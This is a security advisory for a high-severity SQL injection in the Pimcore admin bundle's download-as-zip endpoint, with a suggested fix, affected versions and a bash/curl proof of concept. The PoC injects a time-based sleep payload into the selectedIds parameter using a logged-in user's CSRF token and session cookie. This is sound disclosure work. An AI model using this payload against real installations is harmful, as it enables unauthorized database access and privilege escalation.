GHSA-cwx6-4wmf-c6xv

Suggest an improvement
Source
https://github.com/advisories/GHSA-cwx6-4wmf-c6xv
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/01/GHSA-cwx6-4wmf-c6xv/GHSA-cwx6-4wmf-c6xv.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-cwx6-4wmf-c6xv
Aliases
Published
2024-01-24T20:54:15Z
Modified
2024-02-16T07:58:01.454487Z
Severity
  • 8.8 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
SQL Injection in Admin download files as zip
Details

Summary

The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.

Details

downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added:

  foreach ($selectedIds as $selectedId) {
      if ($selectedId) {
          $quotedSelectedIds[] = $db->quote($selectedId);
      }
  }

PoC

  • Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)
  • Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie.
  • Run the following script, substituting the values accordingly:
    #!/bin/bash
    BASE_URL=http://localhost # REPLACE THIS!
    CSRF_TOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS!
    COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS!
    SQL="(select*from(select(sleep(6)))a)"
    
    curl "${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \
        -X GET \
        -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
        -H "Cookie: ${COOKIE}" `
    
  • The response is delayed by 6 seconds.

Impact

Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Database specific
{
    "nvd_published_at": "2024-01-24T20:15:53Z",
    "cwe_ids": [
        "CWE-89"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-24T20:54:15Z"
}
References

Affected packages

Packagist / pimcore/admin-ui-classic-bundle

Package

Name
pimcore/admin-ui-classic-bundle
Purl
pkg:composer/pimcore/admin-ui-classic-bundle

Affected ranges

Type
ECOSYSTEM
Events
Introduced
1.0.0
Fixed
1.3.2

Affected versions

v1.*

v1.0.0
v1.0.1
v1.0.2
v1.0.3
v1.0.4
v1.0.5
v1.0.6
v1.1.0-RC1
v1.1.0
v1.1.1
v1.1.2
v1.1.3
v1.1.4
v1.2
v1.2.0-RC1
v1.2.1
v1.2.2
v1.2.3
v1.3.0-RC1
v1.3.0
v1.3.1